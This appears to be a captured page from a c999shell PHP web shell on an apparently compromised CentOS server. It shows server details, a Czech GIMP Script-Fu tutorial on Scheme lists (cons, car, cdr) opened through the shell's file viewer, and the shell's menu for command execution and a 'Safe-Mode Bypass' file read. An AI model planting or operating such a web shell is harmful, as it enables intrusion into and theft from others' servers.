Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /usr/share/gimp/2.0/help/cs/ drwxr-xr-x |
Viewing file: ch07s02s03.html (16.05 KB) -rw-r--r-- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) | Již umíte pracovat s proměnnými a funkcemi, je na čase vydat se za tajemstvím seznamů (anglicky lists, které tvoří důležitou součást Scheme. Dříve, než si o seznamech povíme více, musíte pochopit rozdíl mezi atomickými hodnotami a seznamy.
Atomické hodnoty jsme viděli již při inicializaci proměnných
v předchozí lekci. Atomická hodnota je jedna jediná hodnota.
Následujícím výrokem přiřadíme proměnné (let* ( (x 8) ) x)
(Výraz
Proměnná může také odkazovat na seznam hodnot, ne na hodnotu jedinou.
Přiřadit proměnné (let* ( (x '(1 3 5))) x) Zkuste oba výroky ve Script-Fu konzoli a sledujte reakci. První výrok vrátí výsledek: 8 Druhý výrok však vrátí následující výsledek: (1 3 5)
Odpověď 8 značí, že proměnná Syntaxe definice seznamu je následující: '(a b c)
kde Prázdný seznam lze definovat následujícím způsobem: '() nebo jednodušeji: () Seznamy mohou obsahovat atomické hodnoty i další seznamy: (let* ( (x '("The Gimp" (1 2 3) ("is" ("great" () ) ) ) ) ) x ) Všimněte si, že za prvním apostrofem již není, pro vnitřní seznamy, apostrofy používat. Přepiště výrok do jedné řádky, vložte do Script-Fu konzole, vyzkoušejte a prohlédněte si výsledek.
Vrácený výsledek není seznam jednotlivých atomických hodnot, ale
obsahuje literál O seznamech je často užitečné přemýšlet jako o útvarech složených z hlavičky a ocásku (anglicky head a tail). Hlavička je první položka seznamu, zbývající položky tvoří ocásek. Bude to užitečné, až budeme mluvit o spojování seznamů a přístupu k jednotlivým prvkům seznamu.
Jedna z funkcí, se kterými se budete setkávat nejčastěji, je
funkce (cons 1 '(2 3 4) )
Výsledkem je seznam Lze takto vytvořit i seznam s jedním prvkem: (cons 1 () ) Místo kteréhokoliv literálu můžete samozřejmě použít dříve deklarovanou proměnnou.
Pro definici seznamu složeného z literálů a dříve deklarovaných
proměnných můžete použít funkci (list 5 4 3 a b c)
Tak se vytvoří a vrátí seznam obsahující hodnoty proměnných
(let* ( (a 1) (b 2) (c 3) ) (list 5 4 3 a b c) )
Tento kód vytvoří seznam
K přistupování k hodnotám v seznamu slouží funkce
Funkce (car '("prvni" 2 "treti")) vrátí: "prvni"
Funkce (cdr '("prvni" 2 "treti")) vrací: (2 "treti") zatímco následující: (cdr '("one and only")) vrací: ()
Výborně, již umíme získat první prvek ze seznamu i zbytek seznamu.
Jak ale přistupovat ke druhému, třetímu nebo jinému prvku seznamu?
K tomuto účelu existuje řada praktických funkcí, např. hlavička
hlavičky ocásku seznamu (
Konvence pro pojemnovávání takových to funkcí je velmi jednoduchá.
Písmena (car (cdr (car x) ) ) lze jednodušeji zapsat jako: (cadar x) Úplný seznam funkcí pro práci se seznamy ve Script-Fu naleznete v příloze.
Abyste si funkce pro přístup k prvkům seznamu procvičili, zadejte
následující (ovšem, pokud používáte konzoli, na jednom řádku) a
zkoušejte si různé kombinace (let* ( (x '( (1 2 (3 4 5) 6) 7 8 (9 10) ) ) ) ; sem zapište svou car/cdr funkci ) Pokuste se získat číslo tři pouze dvěma voláními funkce. Pokud se vám to podaří, možná se z vás stane Mistr Script-Fu!
|
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0144 ]-- |